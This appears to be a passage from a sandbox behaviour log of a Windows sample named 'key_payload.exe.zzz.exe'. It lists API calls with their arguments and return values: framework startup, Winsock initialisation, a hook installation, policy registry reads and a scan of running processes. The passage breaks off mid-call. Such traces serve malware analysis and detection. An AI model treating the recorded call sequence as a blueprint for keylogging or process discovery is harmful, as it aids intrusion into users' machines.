(lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0100.808] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0100.808] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0100.808] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0100.808] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0100.809] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0100.810] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0100.816] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0100.818] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0100.819] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0100.819] GetSystemMetrics (nIndex=69) returned 4 [0100.819] GetSystemMetrics (nIndex=68) returned 4 [0100.887] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0100.889] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0100.890] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0100.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0100.894] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0100.894] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0100.894] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0100.894] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0100.894] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0100.894] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0100.894] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0100.894] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0100.895] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0100.895] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0100.895] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0100.895] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0100.895] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0100.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0100.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0100.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0100.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0100.896] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0100.896] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0100.897] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0100.898] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0100.900] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0100.901] GetVersionExW (in: lpVersionInformation=0xbdf8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xc3ad70, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0xc3ad70, szCSDVersion="\x284\xc3\x80") | out: lpVersionInformation=0xbdf8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0100.901] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0100.901] GetProcAddress (hModule=0x75130000, lpProcName=0x1347bf0) returned 0x75172720 [0100.902] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0100.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0100.902] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0100.902] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0100.902] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0100.902] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0100.903] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0100.903] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0100.903] GetCurrentProcess () returned 0xffffffff [0100.903] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0100.903] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0100.903] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0100.903] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0100.904] GetLastError () returned 0x7a [0100.904] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xc6acd8, ReturnedLength=0x139a0c4 | out: Buffer=0xc6acd8, ReturnedLength=0x139a0c4) returned 1 [0100.904] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0100.904] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0100.904] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0100.905] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0100.905] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0100.905] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0100.905] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0100.905] EtwRegisterTraceGuidsW () returned 0x0 [0100.906] RtlInitializeSListHead (in: ListHead=0xc6ad40 | out: ListHead=0xc6ad40) [0100.906] RtlInitializeSListHead (in: ListHead=0xc6ad48 | out: ListHead=0xc6ad48) [0100.906] RtlInitializeSListHead (in: ListHead=0xc6ada8 | out: ListHead=0xc6ada8) [0100.906] RtlInitializeSListHead (in: ListHead=0xc6adb0 | out: ListHead=0xc6adb0) [0100.907] RtlInitializeSListHead (in: ListHead=0xc6aec8 | out: ListHead=0xc6aec8) [0100.907] RtlInitializeSListHead (in: ListHead=0xc6aed0 | out: ListHead=0xc6aed0) [0100.907] RtlInitializeSListHead (in: ListHead=0xc6aed8 | out: ListHead=0xc6aed8) [0100.907] RtlInitializeSListHead (in: ListHead=0xc6aee0 | out: ListHead=0xc6aee0) [0100.907] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1ec [0100.907] RegisterWaitForSingleObject (in: phNewWaitObject=0xc6aebc, hObject=0x1ec, Callback=0x12e6468, Context=0xc6ace0, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0xc6aebc*=0xc42d88) returned 1 [0100.907] CreateThreadpoolTimer (in: pfnti=0x12e644a, pv=0xc6ace0, pcbe=0x0 | out: pv=0xc6ace0) returned 0xc3cc10 [0100.908] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0100.908] TpSetTimer (in: pti=0xc3cc10, pftDueTime=0xbdf9ec, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0xc3cc10) [0100.908] GetCurrentProcess () returned 0xffffffff [0100.908] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0100.908] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0100.908] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0100.908] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0100.909] GetLastError () returned 0x7a [0100.909] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xc74730, ReturnedLength=0x139a0c4 | out: Buffer=0xc74730, ReturnedLength=0x139a0c4) returned 1 [0100.909] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1f4 [0100.909] GetNumaHighestNodeNumber (in: HighestNodeNumber=0xbdfa34 | out: HighestNodeNumber=0xbdfa34) returned 1 [0100.909] RtlInterlockedPopEntrySList (in: ListHead=0xc6ad40 | out: ListHead=0xc6ad40) returned 0x0 [0100.910] RtlInitializeSListHead (in: ListHead=0xc37270 | out: ListHead=0xc37270) [0100.910] RtlInitializeSListHead (in: ListHead=0xc37278 | out: ListHead=0xc37278) [0100.910] RtlInitializeSListHead (in: ListHead=0xc372c0 | out: ListHead=0xc372c0) [0100.910] RtlInitializeSListHead (in: ListHead=0xc372c8 | out: ListHead=0xc372c8) [0100.910] RtlInterlockedPopEntrySList (in: ListHead=0xc372c0 | out: ListHead=0xc372c0) returned 0x0 [0100.910] RtlInitializeSListHead (in: ListHead=0xc3d458 | out: ListHead=0xc3d458) [0100.910] RtlInitializeSListHead (in: ListHead=0xc3d460 | out: ListHead=0xc3d460) [0100.910] RtlInitializeSListHead (in: ListHead=0xc3d4a8 | out: ListHead=0xc3d4a8) [0100.910] RtlInitializeSListHead (in: ListHead=0xc3d4b0 | out: ListHead=0xc3d4b0) [0100.911] RtlInitializeSListHead (in: ListHead=0xc39e18 | out: ListHead=0xc39e18) [0100.911] RtlInitializeSListHead (in: ListHead=0xc39e20 | out: ListHead=0xc39e20) [0100.912] RtlInterlockedPopEntrySList (in: ListHead=0xc39e18 | out: ListHead=0xc39e18) returned 0x0 [0100.912] GetTickCount64 () returned 0x20229 [0100.912] RtlInterlockedPopEntrySList (in: ListHead=0xc39e18 | out: ListHead=0xc39e18) returned 0x0 [0100.912] GetTickCount64 () returned 0x20229 [0100.912] RtlInterlockedPopEntrySList (in: ListHead=0xc39e18 | out: ListHead=0xc39e18) returned 0x0 [0100.912] GetTickCount64 () returned 0x20229 [0100.912] RtlInterlockedPopEntrySList (in: ListHead=0xc39e18 | out: ListHead=0xc39e18) returned 0x0 [0100.913] GetTickCount64 () returned 0x20229 [0100.913] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x1f8 [0100.913] RtlInterlockedPopEntrySList (in: ListHead=0xc6aed0 | out: ListHead=0xc6aed0) returned 0x0 [0100.913] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1fc [0100.913] GetCurrentThread () returned 0xfffffffe [0100.913] GetCurrentProcess () returned 0xffffffff [0100.913] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xc7e48c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xc7e48c*=0x200) returned 1 [0100.913] CreateThreadpoolWait (in: pfnwa=0x12f1211, pv=0xc7e3e8, pcbe=0x0 | out: pv=0xc7e3e8) returned 0xc7e4a0 [0100.913] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0100.913] TpSetWait (in: pwa=0xc7e4a0, h=0x200, pftTimeout=0x0 | out: pwa=0xc7e4a0) [0100.913] GetCurrentThreadId () returned 0xfc4 [0100.915] GetCursorPos (in: lpPoint=0xc3d6a4 | out: lpPoint=0xc3d6a4*(x=572, y=375)) returned 1 [0100.915] GetCurrentThread () returned 0xfffffffe [0100.916] GetCurrentThreadId () returned 0xfc4 [0100.916] GetVersionExW (in: lpVersionInformation=0xbdfa60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xbdfa80, dwBuildNumber=0x127f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0xbdfa60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0100.917] SetLastError (dwErrCode=0x0) [0100.917] GetLastError () returned 0x0 [0100.917] SetLastError (dwErrCode=0x0) [0100.917] SetLastError (dwErrCode=0x0) [0100.917] SetLastError (dwErrCode=0x0) [0100.917] SetLastError (dwErrCode=0x0) [0100.917] GetLastError () returned 0x0 [0100.917] SetLastError (dwErrCode=0x0) [0100.917] GetLastError () returned 0x0 [0100.917] SetLastError (dwErrCode=0x0) [0100.917] SetLastError (dwErrCode=0x0) [0100.918] SetLastError (dwErrCode=0x0) [0100.918] GetLastError () returned 0x0 [0100.918] SetLastError (dwErrCode=0x0) [0100.918] SetLastError (dwErrCode=0x0) [0100.918] GetLastError () returned 0x0 [0100.918] SetLastError (dwErrCode=0x0) [0100.918] GetLastError () returned 0x0 [0100.918] SetLastError (dwErrCode=0x0) [0100.918] SetLastError (dwErrCode=0x0) [0100.918] GetLastError () returned 0x0 [0100.918] SetLastError (dwErrCode=0x0) [0100.918] GetLastError () returned 0x0 [0100.918] SetLastError (dwErrCode=0x0) [0100.918] SetLastError (dwErrCode=0x0) [0100.919] SetLastError (dwErrCode=0x0) [0100.920] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0xbdfa10 | out: lpWSAData=0xbdfa10) returned 0 [0101.027] SetErrorMode (uMode=0x0) returned 0x0 [0101.027] SetErrorMode (uMode=0x8001) returned 0x0 [0101.027] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xbdf984, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0101.027] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0101.027] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0101.027] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0101.027] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0101.027] SetWindowsHookExW (idHook=-1, lpfn=0x1164207, hmod=0x0, dwThreadId=0xfc4) returned 0x1c0071 [0101.027] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0xbdfba0 | out: phkResult=0xbdfba0*=0x0) returned 0x2 [0101.028] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0xbdfba0 | out: phkResult=0xbdfba0*=0x0) returned 0x2 [0101.028] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0xbdfba0 | out: phkResult=0xbdfba0*=0x0) returned 0x2 [0101.028] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0xc84358 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0101.028] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin" [0101.028] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin", pNumArgs=0xbdf374 | out: pNumArgs=0xbdf374) returned 0xc84b68*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0101.029] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0101.029] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xc84ca8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0101.036] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0101.037] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin" [0101.037] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin", pNumArgs=0xbd4598 | out: pNumArgs=0xbd4598) returned 0xc84348*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0101.037] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0101.037] EnumProcesses (in: lpidProcess=0xbd45a0, cb=0xa000, lpcbNeeded=0xbd459c | out: lpidProcess=0xbd45a0, lpcbNeeded=0xbd459c) returned 1 [0101.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0101.041] CloseHandle (hObject=0x0) returned 0 [0101.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0101.041] CloseHandle (hObject=0x0) returned 0 [0101.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0101.041] CloseHandle (hObject=0x0) returned 0 [0101.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154) returned 0x0 [0101.041] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x194) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x19c) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x0 [0101.042] CloseHandle (hObject=0x0) returned 0 [0101.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a4) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x0 [0101.043] CloseHandle (hObject=0x0) returned 0 [0101.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0101.044] CloseHandle (hObject=0x0) returned 0 [0101.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0101.044] CloseHandle (hObject=0x0) returned 0 [0101.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0101.044] CloseHandle (hObject=0x0) returned 0 [0101.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0101.044] CloseHandle (hObject=0x0) returned 0 [0101.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x230 [0101.044] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.044] CloseHandle (hObject=0x230) returned 1 [0101.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x230 [0101.044] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.045] CloseHandle (hObject=0x230) returned 1 [0101.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x230 [0101.045] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.045] CloseHandle (hObject=0x230) returned 1 [0101.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x230 [0101.045] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.045] CloseHandle (hObject=0x230) returned 1 [0101.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b0) returned 0x230 [0101.045] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.047] CloseHandle (hObject=0x230) returned 1 [0101.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x230 [0101.047] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0101.047] CloseHandle (hObject=0x230) returned 1 [0101.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x230 [0101.047] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.048] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xcc0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="nigeriareached.exe") returned 0x12 [0101.049] CloseHandle (hObject=0x230) returned 1 [0101.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x230 [0101.049] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.050] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x870000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="bass_cosmetics_effectiveness.exe") returned 0x20 [0101.050] CloseHandle (hObject=0x230) returned 1 [0101.050] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a4) returned 0x230 [0101.050] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.051] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1210000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="optimize.exe") returned 0xc [0101.051] CloseHandle (hObject=0x230) returned 1 [0101.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x230 [0101.052] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.052] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x350000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="bullet_save.exe") returned 0xf [0101.053] CloseHandle (hObject=0x230) returned 1 [0101.053] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x230 [0101.053] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.054] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xf50000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="herbs.exe") returned 0x9 [0101.054] CloseHandle (hObject=0x230) returned 1 [0101.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x230 [0101.054] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.056] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc80000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="expenditure-vincent-tablet.exe") returned 0x1e [0101.056] CloseHandle (hObject=0x230) returned 1 [0101.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x230 [0101.056] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.057] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdb0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="deathswound.exe") returned 0xf [0101.057] CloseHandle (hObject=0x230) returned 1 [0101.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x230 [0101.057] EnumProcessModules (in: hProcess=0x230, 